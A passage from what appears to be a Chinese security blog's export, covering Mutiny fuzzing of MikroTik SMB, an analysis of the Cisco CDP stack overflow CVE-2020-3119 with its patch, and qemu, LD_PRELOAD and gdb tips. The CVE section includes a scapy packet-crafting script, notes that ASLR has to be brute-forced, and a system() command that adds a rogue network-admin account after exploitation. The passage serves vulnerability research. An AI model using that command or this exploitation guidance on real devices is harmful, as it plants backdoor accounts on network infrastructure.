Fuzzer`简介\n\n`Mutiny`是一款基于变异的网络协议`fuzz`框架,其主要是采用`Radamsa`工具来对数据进行变异。内部的`fuzz`流程与其他的协议`fuzz`框架(如`Boofuzz`,`Kitty`)类似,也提供了在不同阶段对请求数据进行动态修改、对目标进行监控等功能。\n\n以`master`分支为例,主要模块的说明如下。\n\n> `experiment`分支加入了更多的特性,如自动生成`PoC`、反馈机制等。\n\n```\nmutiny-fuzzer\n├── backend\n│ ├── fuzzerdata.py\t// 与.fuzzer文件解析/生成相关\n│ ├── fuzzer_types.py\t\t// 定义fuzz中使用的相关消息类型及工具函数\n│ ├── __init__.py\n│ ├── menu_functions.py\n│ ├── packets.py\n│ └── proc_director.py\n├── LICENSE\n├── mutiny_classes\t// (需要根据需求进行自定义)\n│ ├── exception_processor.py\n│ ├── __init__.py\n│ ├── message_processor.py\t// 提供对请求数据进行动态修改\n│ ├── monitor.py\t// 负责对测试目标进行监控,需自己实现\n│ └── mutiny_exceptions.py\n├── mutiny_prep.py\t// 预处理:解析pcap文件,并生成.fuzzer文件\n├── mutiny.py\t// fuzz主程序:基于生成的.fuzzer文件, 对请求进行变异, 然后发送给测试目标\n├── radamsa-v0.6.tar.gz\n├── readme.md\n├── sample_apps\n├── tests\n└── util\n```\n\n### `MikroTik SMB`测试\n\n`MikroTik`设备支持`SMB`协议,相关的功能主要在`/nova/bin/smb`程序中。通过对程序代码进行分析,感觉其是由厂商自己实现的,未复用第三方库,考虑到`SMB`协议的复杂性,该程序似乎是一个不错的`fuzz`目标。默认情况下`smb`服务是关闭的,可通过如下命令开启。\n\n```shell\n/ip smb set enabled=yes\n```\n\n通常,对比较复杂的网络协议进行测试,笔者会优先考虑基于生成的`fuzz`方式,即根据协议格式去定义请求,然后对请求进行变异,保证变异后的请求仍然是\"符合\"协议格式的。因为如果协议比较复杂的话,协议之间的关联或约束会比较多,基于变异的方式很大可能会破坏请求的协议格式,无法通过程序内的校验,造成`fuzz`的效率低下。\n\n在采用基于生成的方式进行`fuzz`后,并没有发现问题。想到之前有国外研究人员利用`Mutiny`工具在`smb`服务中发现了漏洞`CVE-2018–7445`,于是打算尝试下`Mutiny`工具。文章 [Finding and exploiting CVE-2018–7445 (unauthenticated RCE in MikroTik’s RouterOS SMB)](https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1) 详细介绍了作者从环境搭建、测试、漏洞分析到漏洞利用的整个过程,感兴趣的可以看一下。\n\n> 在采用基于生成的方式进行`fuzz`时,笔者主要关注的是`smb`协议中无需认证的部分,因此只对部分请求进行了测试。\n\n#### `.fuzzer`文件生成\n\n以`stable 6.44.2`版本为例,在开启`smb`服务后,在`win10`下访问对应的共享文件夹,同时利用`wireshark`捕获数据包,部分请求如下。\n\n<img src=\"images/smb2_example.png\">\n\n根据`SMB`协议的交互流程,前面几个请求如`Negotiate Protocol`、`Session Setup`等是无需认证的,由于笔者主要关注无需认证的攻击面,因此打算仅对前面几个请求进行`fuzz`。\n\n在有了数据包之后,运行`mutiny_prep.py`对数据包进行处理,生成`mutiny`需要的`.fuzzer`文件。同时,可以根据自己的需求对生成的`.fuzzer`文件进行自定义修改,部分示例如下。需要说明的是,根据`mutiny`的`fuzz`流程,建议为每个请求单独生成一个`.fuzzer`文件。\n\n> 笔者曾问过关于`mutiny`的处理逻辑,可参考[这里](https://github.com/Cisco-Talos/mutiny-fuzzer/issues/9)。\n\n```\n# Directory containing any custom exception/message/monitor processors\n# This should be either an absolute path or relative to the .fuzzer file\n# If set to \"default\", Mutiny will use any processors in the same\n# folder as the .fuzzer file\nprocessor_dir default\n# Number of times to retry a test case causing a crash\nfailureThreshold 3\n# How long to wait between retrying test cases causing a crash\nfailureTimeout 1\n# How long for recv() to block when waiting on data from server\nreceiveTimeout 1.0\n# Whether to perform an unfuzzed test run before fuzzing\nshouldPerformTestRun 0\n# Protocol (udp or tcp)\nproto tcp\n# Port number to connect to\nport 445\n# Port number to connect from\nsourcePort -1\n# Source IP to connect from\nsourceIP 0.0.0.0\n\n# The actual messages in the conversation\n# Each contains a message to be sent to or from the server, printably-formatted\noutbound fuzz '\\x00\\x00\\x00\\xee\\xfeSMB@\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x05\\x00\\x01\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\xd1\\xc5\\x81\\xc2\\xec\\x88\\xea\\x11\\x83\\xce4\\x17\\xeb\\xc5\\x0c{p\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x02\\x02\\x10\\x02\\x00\\x03\\x02\\x03\\x11\\x03\\x00\\x00\\x01\\x00&\\x00\\x00\\x00\\x00\\x00\\x01\\x00 \\x00\\x01\\x00\\xd4\\xfa\\xbc^\\xc5g\\x8a9\\xeaP\\xe6\\xa0(\\x13\\xc7\\xa9\\xa9@\\xf40\\x0f\\xc3\\xe3\\x98\\x89\\xc54\\x1e\\xb46h\\xea\\x00\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x0e\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x1e\\x00\\x00\\x00\\x00\\x001\\x009\\x002\\x00.\\x001\\x006\\x008\\x00.\\x002\\x000\\x000\\x00.\\x001\\x005\\x002\\x00'\ninbound '\\x00\\x00\\x00\\xca\\xfeSMB@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00A\\x00\\x01\\x00\\x02\\x02\\x00\\x00\\\\\\x91\\xc5!\\x89D\\x11\\xea\\x85g\\xc7#{2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x95Q(Q\\x1d\\xd6\\x01\\x80\\x96/\\x1eQ\\x1d\\xd6\\x01\\x80\\x00J\\x00\\x00\\x00\\x00\\x00`H\\x06\\x06+\\x06\\x01\\x05\\x05\\x02\\xa0>0<\\xa0\\x0e0\\x0c\\x06\\n+\\x06\\x01\\x04\\x01\\x827\\x02\\x02\\n\\xa3*0(\\xa0&\\x1b$not_defined_in_RFC4178@please_ignore'\n```\n\n#### 目标监控与环境恢复\n\n在有了对应的`.fuzzer`文件后,运行`mutiny.py`脚本,就可以开始对目标进行`fuzz`了。\n\n> `Mutiny`框架的目的就是让使用者能尽可能快地开始对目标进行`fuzz`。\n\n```shell\n$ ./mutiny.py -s 0.1 --logAll ./<path to .fuzzer file> <ip>\n```\n\n上面的命令会记录所有的输出,为了后续更方便地对畸形用例进行定位及重放,考虑增加对目标是否发生异常进行监控。由于`smb`服务会监听`445/tcp`端口,而当`smb`程序崩溃时,该端口会不可访问,因此可以通过探测`445/tcp`端口是否可访问的方式来监控目标是否发生异常,对应的代码可以添加在`mutiny_classes/monitor.py`中。这样,当目标出现崩溃时,日志中会记录崩溃对应的测试用例编号。\n\n另外,虽然`smb`程序崩溃后会自动重启,但当发生多次异常后`smb`环境会出现小问题,同时为了保证每次`smb`程序重启后环境与最开始一样,考虑到整个`mikrotik`系统运行在`vmware`中,因此可以考虑借助`vmware`快照的方式保证环境的一致,即在最开始时拍摄快照,当目标发生崩溃后恢复快照,然后再继续进行`fuzz`。同样,对应的代码可以添加在`mutiny_classes/monitor.py`中。\n\n现在可以开始对目标进行`fuzz`了。当然,如果直接采用最原始的`.fuzzer`文件,即直接对整个请求进行变异,发现崩溃的耗时可能会比较长。因为`SMB`协议中包含`magic`(`·\\xfe\\x53\\x4d\\x42`,以`smb2`为例)、`command`(`0x0`(`Negotiate Protocol`),`0x01`(`Session Setup`))等字段,如果这些字段不符合协议约定的话,生成的测试用例大概率会被程序丢弃。因此还是要借助对协议的理解和对程序进行逆向,了解程序内部协议的大概处理流程(比如校验哪些字段),然后对`.fuzzer`文件进行修改,指定哪些部分保持不变、对哪些部分进行变异等。\n\n#### 崩溃用例分析\n\n在运行一段时间后,发现了多个测试用例会造成目标程序崩溃,通过对测试用例进行重放和分析,最终共有3个测试用例会造成不同的崩溃,其中的一个测试用例如下。\n\n<img src=\"images/crash_smb2_example.png\">\n\n这个测试用例比较有意思的是,在正常的`Negotiate Protocol`请求之后,又多了一层`NetBIOS Session Service`数据包。由于是针对单个`Negotiate Protocol`请求进行`fuzz`,如果采用常规的基于生成的方式,即仅对协议内的字段进行变异,似乎很难生成这样的测试用例。而采用变异的方式,出乎意料的得到了这样一个测试用例,这可能得益于`Radamsa`工具的强大能力。当然,变异的方式也有其弊端,比如对前面某个字段进行变异,很可能由于这个字段违背了协议规约,造成其后面的字段全部被\"破坏\",牵一发而动全身。\n\n### 小结\n\n本文对`Mutiny-Fuzzer`框架进行了简要介绍,并针对`MikroTik`设备的`smb`服务进行了简单测试。当需要对复杂网络协议进行测试时,可以尝试一下`Mutiny-Fuzzer`框架,\"快\"就是优势,说不定会有意外收获。当然,在对协议和目标有了一定的了解后,可以对其进行改进,或者采用更有效的`fuzz`方式。\n\n### 相关链接\n\n+ [mutiny-fuzzer](https://github.com/Cisco-Talos/mutiny-fuzzer)\n+ [Finding and exploiting CVE-2018–7445 (unauthenticated RCE in MikroTik’s RouterOS SMB)](https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1)\n\n\n\n<br />\n\n> 本文首发于信安之路,文章链接:[https://mp.weixin.qq.com/s/rA-ydKwnGgky5jYxMd-H4g](https://mp.weixin.qq.com/s/rA-ydKwnGgky5jYxMd-H4g)","tags":["MikroTik"],"categories":["fuzz"]},{"title":"CDPwn系列之CVE-2020-3119分析","url":"/2020/06/25/CDPwn系列之CVE-2020-3119分析/","content":"\n### 漏洞简介\n\n`CDPwn`系列漏洞是由来自`Armis`的安全研究员在思科`CDP(Cisco Discovery Protocol)`协议中发现的5个`0 day`漏洞,影响的产品包括思科交换机、路由器、`IP`电话以及摄像机等。其中,`CVE-2020-3119`是`NX-OS`系统中存在的一个栈溢出漏洞,利用该漏洞可在受影响的设备(如`Nexus`系列交换机)上实现任意代码执行,如修改`Nexus`交换机的配置以穿越`VLAN`等。\n\n<!-- more -->\n\n下面借助`GNS3`软件搭建`Nexus`交换机仿真环境,来对该漏洞进行分析。\n\n### 环境准备\n\n根据[漏洞公告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce),选取`Nexus 9000 Series Switches in standalone NX-OS mode`作为分析目标,获取到对应的镜像如`nxosv.9.2.2.qcow2`后,根据`GNS3`提供的`Cisco NX-OSv 9000 appliance`中的模板进行操作即可。需要说明的是,\n\n+ 与思科`ASAV`防火墙不同,模拟`Nexus 9000`系列交换机除了需要设备镜像外,还需要一个`UEFI`格式的启动文件;\n+ 模拟`Nexus 9000`系列交换机对虚拟机的配置要求较高(`8G`内存),建议采用`GNS3`设备模板中的默认配置,降低配置的话可能导致设备无法启动。\n\n设备启动后,建议连接到设备的`Ethernet1/1 `口,之后对设备进行配置。\n\n在`Nexus 9000`系列交换机上,存在以下3种`shell`:\n\n+ `vsh`:正常配置设备时`CLI`界面的`shell`;\n\n+ `guestshell`:在`vsh`中运行`guestshell`命令后进入的`shell`,可以运行常见的`shell`命令;\n\n+ `bash shell`:在`vsh`中运行`run bash`命令后进入的`shell`,可以查看底层系统中的文件,以及设备上的进程信息等;\n\n > 需要先在`configure`模式下,运行`feature bash-shell`开启`bash shell`\n\n默认配置下,`bash shell`中是没有`ip`信息的。为了方便后续进行分析调试,需要给之前连接的`Ethernet1/1`口配置`ip`信息,根据`mac`地址查找对应的网口,然后配置对应的`ip`即可。\n\n> 设备的`mgmt`口在`bash shell`下不存在对应的网口\n\n另外,由于采用`binwalk`工具对设备镜像进行解压提取失败,因而直接通过`bash shell`拷贝设备文件系统中的文件:将公钥置于`/root/.ssh/authorized_keys`,然后通过`scp`方式进行拷贝即可。\n\n> Update:从`qcow2`文件中提取出对应的`bin`文件如`nxos.9.2.2.bin`,然后使用`7z`等工具直接对`bin`文件进行解压,即可提取出文件系统,其中包含`cdpd`等程序。\n\n### `CDP`数据包分析\n\n为了便于后续的分析,需要先了解`CDP`数据包的相关格式。在`GNS3`中设备之间的链路上捕获流量,看到设备发送的`CDP`数据包示例如下。\n\n<img src=\"images/cdp_proto_example.png\" style=\"zoom:90%\">\n\n可以看到,除了开始的`version`、`ttl`和`checksum`字段外,后面的每一部分都是典型的`TLV(Type-Length-Value)`格式,`Device ID`和`Addresses`部分的字段明细如下。其中,在`Addresses`部分,其`Value`还有更细致的格式。\n\n<img src=\"images/cdp_device_id_example.png\" style=\"zoom:60%\">\n\n<img src=\"images/cdp_address_example.png\" style=\"zoom:60%\">\n\n<img src=\"images/cdp_address_ipv4_example.png\" style=\"zoom:70%\">\n\n另外,`python` `scapy`模块支持`CDP`协议,可以很方便地构造和发送`CDP`数据包,示例如下。\n\n```python\nfrom scapy.contrib import cdp\nfrom scapy.all import Dot3, LLC, SNAP, sendp\n\nethernet = Dot3(dst=\"01:00:0c:cc:cc:cc\")\nllc = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/SNAP()\n# Cisco Discovery Protocol\ncdp_header = cdp.CDPv2_HDR(vers=2, ttl=180)\ndeviceid = cdp.CDPMsgDeviceID(val='nxos922(97RROM91ST3)')\nportid = cdp.CDPMsgPortID(iface=\"br0\")\naddress = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr=\"192.168.110.130\"))\ncap = cdp.CDPMsgCapabilities(cap=1)\npower_req = cdp.CDPMsgUnknown19(val=\"aaaa\"+\"bbbb\")\npower_level = cdp.CDPMsgPower(power=16)\ncdp_packet = cdp_header/deviceid/portid/address/cap/power_req/power_level\n\nsendp(ethernet/llc/cdp_packet, iface=\"ens36\")\n```\n\n### 漏洞分析\n\n根据`Armis`的[技术报告](https://info.armis.com/rs/645-PDC-047/images/Armis-CDPwn-WP.pdf)可知,该漏洞存在于程序`/isan/bin/cdpd`中的函数`cdpd_poe_handle_pwr_tlvs()`里,其主要功能是对`Power Request(type=0x19)`部分的数据进行解析和处理,该部分的协议格式示例如下。\n\n<img src=\"images/cdp_pwr_example.png\" style=\"zoom:90%\">\n\n函数`cdpd_poe_handle_pwr_tlvs()`的部分伪代码如下,其中,`cdp_payload_pwr_req_ptr`指向`Power Request(type=0x19)`部分的起始处。可以看到,首先在`(1)`处获取到`Length`字段的值,在`(2)`处计算得到`Power Requested`字段的个数(`Type` + `Length` + `Request-ID` + `Management-ID`为8字节,`Power Requested`字段每项为`4`字节),之后在`(4)`处将每个`Power Requested`字段的值保存到`v35`指向的内存空间中。由于`v35`指向的内存区域为栈(在`(3)`处获取局部变量的地址,其距离`ebp`的大小为`0x40`),而循环的次数外部可控,因此当`Power Requested`字段的个数超过`0x11`后,将覆盖栈上的返回地址。\n\n```c++\n// 为方便理解, 对函数/变量进行了重命名\nchar __cdecl cdpd_poe_handle_pwr_tlvs(int *a1, int cdp_payload_pwr_cons_ptr, _WORD *cdp_payload_pwr_req_ptr)\n{\n v32 = *a1;\n result = cdp_payload_pwr_cons_ptr == 0;\n v33 = cdp_payload_pwr_req_ptr == 0;\n if ( cdp_payload_pwr_cons_ptr || !v33 )\n {\n v28 = a1 + 300;\n if ( v33 && cdp_payload_pwr_cons_ptr ) // version 1\n {\n // ...\n }\n if ( !result && !v33 ) // version 2\n {\n // ... \n cdp_payload_pwr_req_len_field = __ROR2__(cdp_payload_pwr_req_ptr[1], 8); // (1)\n cdp_payload_pwr_req_req_id = __ROR2__(cdp_payload_pwr_req_ptr[2], 8);\n cdp_payload_pwr_req_mgmt_id = __ROR2__(cdp_payload_pwr_req_ptr[3], 8);\n // ...\n v8 = cdp_payload_pwr_req_len_field - 8;\n if ( v8 < 0 )\n v8 = cdp_payload_pwr_req_len_field - 5; \n cdp_payload_pwr_req_num_of_level = (unsigned int)v8 >> 2; // (2)\n // ...\n if ( (signed int)cdp_payload_pwr_req_num_of_level > 0 )\n {\n cdp_payload_pwr_req_level_ptr = (unsigned int *)(cdp_payload_pwr_req_ptr + 4);\n v35 = &cdp_payload_pwr_cons_len_field; // (3) cdp_payload_pwr_cons_len_field: [ebp-0x40]\n pwr_levels_count = 0;\n do\n {\n *v35 = _byteswap_ulong(*cdp_payload_pwr_req_level_ptr); // (4)\n // ...\n a1[pwr_levels_count + 311] = *v35; // (5) \n ++cdp_payload_pwr_req_level_ptr;\n ++pwr_levels_count;\n ++v35;\n }\n while ( cdp_payload_pwr_req_num_of_level > pwr_levels_count ); // controllable\n }\n v9 = *((_WORD *)a1 + 604);\n v10 = *((_WORD *)a1 + 602);\n v11 = a1[303];\n if ( cdp_payload_pwr_req_req_id != v9 || cdp_payload_pwr_req_mgmt_id != v10 ) // (6)\n {\n // ...\n}\n```\n\n在后续进行漏洞利用时,由于在`(5)`处将`v35`指向的内存地址空间的内容保存到了`a1[pwr_levels_count + 311]`中,而该地址与函数`cdpd_poe_handle_pwr_tlvs()`的第一个参数有关,在覆盖栈上的返回地址之后也会覆盖该参数,因此需要构造一个合适的参数,使得`(5)`处不会崩溃。另外,还要保证`(6)`处的条件不成立,即执行`else`分支,否则在该函数返回前还会出现其他崩溃。\n\n另外,`cdpd`程序启用的保护机制如下,同时设备上的`ASLR`等级为2。由于`cdpd`程序崩溃后会重启,因此需要通过爆破的方式来猜测程序相关的基地址。\n\n```shell\n$ checksec --file cdpd\n Arch: i386-32-little\n RELRO: No RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: PIE enabled\n RPATH: b'/isan/lib/convert:/isan/lib:/isanboot/lib'\n```\n\n之后漏洞利用可以执行注入的`shellcode`,或者通过调用`system()`来执行自定义的`shell`命令。\n\n> 通过`/isan/bin/vsh`可以执行设备配置界面中的命令,如`system('/isan/bin/vsh -c \"conf t ; username aaa password test123! role network-admin\"`执行成功后,会添加一个`aaa`的管理用户。\n\n### 补丁分析\n\n根据思科的[漏洞公告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce),该漏洞在如下的版本中已修复。\n\n<img src=\"images/cdp_nxos_fixed_version.png\" style=\"zoom:90%\">\n\n以`7.0(3)I7(8)`为例,函数`cdpd_poe_handle_pwr_tlvs()`的部分伪代码如下。可以看到,在`(1)`处增加了对`Power Requested`字段个数的判断,其最大值为10。\n\n```c++\nchar __cdecl cdpd_poe_handle_pwr_tlvs(int *a1, int a2, _WORD *a3)\n{\n // ...\n if ( !result && !v35 ) // version 2\n {\n // ...\n v38 = __ROR2__(a3[1], 8);\n v33 = __ROR2__(a3[2], 8);\n v32 = __ROR2__(a3[3], 8);\n // ...\n v8 = v38 - 8;\n if ( v8 < 0 )\n v8 = v38 - 5;\n v29 = (unsigned int)v8 >> 2;\n if ( v29 <= 0xAu ) // (1)\n {\n // ...\n }\n else\n {\n // ...\n v36 = 10; // (2)\n v28 = 10;\n v29 = 10;\n }\n v39 = 0;\n do\n {\n v9 = *v37;\n LOWORD(v9) = __ROR2__(*v37, 8);\n v9 = __ROR4__(v9, 16);\n LOWORD(v9) = __ROR2__(v9, 8);\n v42[v39] = v9;\n // ...\n a1[v39 + 312] = v42[v39];\n ++v37;\n ++v39;\n }\n while ( v36 > v39 );\n goto LABEL_78;\n }\n // ...\n}\n```\n\n### 小结\n\n+ 通过`GNS3`软件搭建设备的仿真环境,同时对该漏洞的形成原因进行了分析:在对`Power Request(type=0x19)`部分的数据进行解析时,由于缺乏对其内容长度的校验,造成栈溢出。\n\n### 相关链接\n\n+ [CDPwn: 5 Zero-Days in Cisco Discovery Protocol](https://www.armis.com/cdpwn/)\n+ [Cisco NX-OS Software Cisco Discovery Protocol Remote Code Execution Vulnerability](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce)\n+ [VIRTUALIZING A CISCO NEXUS 9K WITH GNS3](http://www.itcrunch.eu/index.php/2017/09/20/virtualizing-cisco-nexus-9k-with-gns3/)\n+ [CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析](https://paper.seebug.org/1154/)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/209018](https://www.anquanke.com/post/id/209018)\n\n","tags":["Cisco"],"categories":["漏洞"]},{"title":"【置顶】技巧misc","url":"/2020/05/09/技巧misc/","content":"\n### `qemu`仿真出现Illegal instruction错误\n\n使用`qemu user mode`运行单个程序时,可能会遇到Illegal instruction错误。尝试使用更新版本的`qemu-mipsel-static`,也还是存在类似的问题。\n\n```bash\n$ file ./bin/busybox \n./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header\n\n$ qemu-mipsel-static -L . ./bin/busybox \nqemu: uncaught target signal 4 (Illegal instruction) - core dumped\nIllegal instruction (core dumped)\n```\n\n<!-- more -->\n\n`qemu-mipsel-static`程序存在一个`-cpu`选项,可用于指定对应的CPU型号。以`qemu-mipsel-static`程序为例,支持的CPU型号如下。\n\n```bash\n$ qemu-mipsel-static -cpu help\nMIPS '4Kc'\nMIPS '4Km'\nMIPS '4KEcR1'\nMIPS '4KEmR1'\nMIPS '4KEc'\nMIPS '4KEm'\nMIPS '24Kc'\nMIPS '24KEc'\nMIPS '24Kf'\nMIPS '34Kf'\nMIPS '74Kf'\nMIPS 'M14K'\nMIPS 'M14Kc'\nMIPS 'P5600'\nMIPS 'mips32r6-generic'\nMIPS 'I7200'\n```\n\n通过尝试,当增加`-cpu 74Kf`选项时,可成功运行`/bin/busybox`,不会报Illegal instruction错误,如下。\n\n```bash\n$ qemu-mipsel-static -cpu 74Kf -L . ./bin/busybox \n./bin/busybox: cache '/etc/ld.so.cache' is corrupt\nBusyBox v1.23.2 (2022-01-07 17:55:29 CST) multi-call binary.\nBusyBox is copyrighted by many authors between 1998-2012.\nLicensed under GPLv2. See source distribution for detailed\ncopyright notices.\n\nUsage: busybox [function [arguments]...]\n...\n```\n\n### `qemu`仿真`PIE`程序获取加载基址\n\n使用`qemu user mode`对单个程序进行仿真,若程序启用了`PIE`机制,使用常规的方式貌似无法查看其内存布局,由于不知道程序的加载基地址,造成后续无法下断点进行调试分析等。\n\n使用较早版本的`pwndbg`插件中的`vmmap`命令可以查看,而新版中则会输出如下结果:`0x0 0x0ffffffff rwxp ffffffff 0 [qemu]`。通过查看`pwndbg`插件的代码,似乎由于代码变更,`vmmap`命令对`qemu mode`支持不太完善。\n\n```python\n# https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/elf.py#L231\ndef get_ehdr(pointer):\n \"\"\"\n Returns an ehdr object for the ELF pointer points into.\n We expect the `pointer` to be an address from the binary.\n \"\"\"\n\n # This just does not work :(\n if pwndbg.qemu.is_qemu():\t# <===\n return None, None\n\n vmmap = pwndbg.vmmap.find(pointer)\n base = None\n```\n\n进一步查看`vmmap`命令的代码,发现其是通过`AUXV`机制来检测内存布局。\n\n```python\n# https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py#L35\nparser = argparse.ArgumentParser()\nparser.description = '''Print virtual memory map pages. Results can be filtered by providing address/module name.\nMemory pages on QEMU targets may be inaccurate. This is because:\n- for QEMU kernel on X86/X64 we fetch memory pages via `monitor info mem` and it doesn't inform if memory page is executable\n- for QEMU user emulation we detected memory pages through AUXV (sometimes by finding AUXV on the stack first)\n- for others, we create mempages by exploring current register values (this is least correct)\nMemory pages can also be added manually, see vmmap_add, vmmap_clear and vmmap_load commands.'''\n```\n\n经过测试,利用`auxv`命令可以获取到程序的加载基地址。具体地,利用`auxv`命令返回结果中的`AT_PHDR`字段的值,减去偏移,即可得到对应的加载基地址。\n\n<img src=\"images/cq674350529_pwndbg_auxv.png\" style=\"zoom:50%\">\n\n### `qemu`仿真出现`execve()`错误\n\n在使用`qemu user mode`对单个程序进行仿真时,经常会遇到类似`\"execve(): No such file or directory\"`的错误,其是因为在仿真的程序中又调用`execve()`来运行其他程序,而此时默认会使用`x86/x86_64`架构的`ld`来加载程序。\n\n> `Linux`内核有一个名为`Miscellaneous Binary Format (binfmt_misc)`的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开,比如文件的扩展名或者文件头的`magic`等。\n>\n> 由于上述机制的存在,对于交叉编译后得到的静态程序,可以直接运行,当然通过`qemu_<arch>__static ./xxx`的方式也可以运行。\n\n解决上述错误有多种方式,最简单直接的方式是查看对应架构的`binfmt_misc`文件,然后将对应架构的`qemu_<arch>_static`拷贝到`chroot`后的`interpreter`路径。\n\n> 感谢`@Ch1p`提供的解决方案 :)\n\n```shell\n# 以arm架构为例\n$ cat /proc/sys/fs/binfmt_misc/qemu-arm\t\t# 主机系统上的路径\nenabled\ninterpreter /usr/bin/qemu-arm-static\t\t<=== path\nflags: OC\noffset 0\nmagic 7f454c4601010100000000000000000002002800\nmask ffffffffffffff00fffffffffffffffffeffffff\n\n# 以路由器文件系统为例, 将qemu-arm-static放到./usr/bin目录下即可.\n```\n\n### `LD_PRELOAD`: hook动态链接库函数\n\n`LD_PRELOAD`是`Linux`系统中的一个环境变量,利用它可以指定在程序运行前优先加载的动态链接库,实现在主程序和其他动态链接库的中间加载自定义的动态链接库,甚至覆盖正常的函数。一般而言,程序启动后会按一定顺序加载动态库:\n\n1. 加载`LD_PRELOAD`指定的动态库;\n2. 加载文件`/etc/ld.so.preload`指定的动态库;\n3. 搜索`LD_LIBRARY_PATH`指定的动态库路径;\n4. 搜索路径`/lib64`下的动态库文件。\n\n在对嵌入式设备进行仿真时,经常需要进行环境修复,比如劫持与`NVRAM`相关的函数、`hook`某些函数使得程序继续运行不崩溃等。以`qemu user mode`为例,通过`-E`选项指定`LD_PRELOAD`环境变量,从而达到上述目的。\n\n```shell\n$sudo chroot . ./qemu-arm-static -E LD_PRELOAD='<custom_lib.so>' <binary_path> arg0 arg1\n```\n\n有时,使用`LD_PRELOAD`环境变量可能会不起作用,可以采用另一种方式:修改`/etc/ld.so.preload`配置文件,指定需要加载的自定义动态链接库。\n\n> 通常,有2种常见的方式可以让`LD_PRELOAD`失效(上面提到的情况不属于这2种):\n>\n> + 静态链接\n> + 设置文件的`setgid/setuid`标志:有`SUID`权限的程序,系统会忽略`LD_PRELOAD`环境变量\n\n最后,推荐两个常用的用于`hook`的第三方库,代码及实现比较优雅,可以直接拿来使用或者参考借鉴:\n\n+ `libnvram`:固件仿真框架`Firmadyne`中提供的用于模拟`NVRAM`行为的动态库,支持很多常见的`api`,同时还会解析固件中自带的一些默认键值对;\n+ `preeny`:支持很多常见的`api`,包括`socket`相关、`fork()`、`alarm()`、`rand()`等。\n\n#### 相关链接\n\n+ [libnvram](https://github.com/firmadyne/libnvram)\n+ [preeny](https://github.com/zardus/preeny)\n\n### `gdb`命中断点后继续运行\n\n在使用`gdb`进行调试时,有时侯想让程序命中断点执行一些操作后继续运行,比如`dump`指定内存地址处的内容、记录执行过的基本块地址等。在`gdb`中,让程序命中断点执行一些操作后继续运行,常见的方式如下:\n\n+ `define hook-stop`方式\n\n ```shell\n # gdb\n > b *0x12345678\t# set breakpoint\n > define hook-stop\n x/4wx $esp\t# custom gdb command\n continue\n end\n ```\n\n+ `commands`命令\n\n ```python\n # gdbinit\n b *0x12345678 if (($rbx >= 0x600) && ($rbx <= 0x700))\n commands\n silent\n set logging file ./malloc_trace.txt\n set logging on\n printf \"malloc(): %p (size: 0x%x)\\n\", $rax, $rbx\n set logging off\n c\n end\n ```\n \n+ 自定义`gdb.Breakpoint`\n\n ```python\n # custom_gdb.py\n class MyBreakpoint(gdb.Breakpoint):\n def stop(self):\n # do what you want\n return False # continue automatically\n \n MyBreakpoint(\"*{:#x}\".format(0x12345678))\n \n # gdb\n > source custom_gdb.py\n ```\n\n其中,在`hook-stop`中运行`continue`命令似乎仅在第一次有效,后续命中断点后还是会停下来。后面两种方式是比较推荐的。\n\n另外,如果只是想在命中断点后,打印指定内存地址处的内容,一种更好地方式是直接使用`dprtinf`命令,其原理是设置断点(`dprintf`类型),然后调用`printf`输出,之后再继续运行行。\n\n```shell\ndprintf location,template,expression[,expression…]\n```\n\n#### 相关链接\n\n+ [How to continue the exection after hitting breakpoints in gdb?](https://stackoverflow.com/questions/56771106/how-to-continue-the-exection-after-hitting-breakpoints-in-gdb)\n+ [User-defined Command Hooks](https://sourceware.org/gdb/onlinedocs/gdb/Hooks.html)\n+ [Events In Python](https://sourceware.org/gdb/current/onlinedocs/gdb/Events-In-Python.html)\n+ [Manipulating breakpoints using Python](https://sourceware.org/gdb/current/onlinedocs/gdb/Breakpoints-In-Python.html)\n+ [Dynamic Printf](https://doc.ecoscentric.com/gnutools/doc/gdb/Dynamic-Printf.html)\n+ [gdb events example](https://github.com/Cisco-Talos/mutiny-fuzzer/blob/experiment/harnesses/gdb_fuzz_harness.py)\n\n### 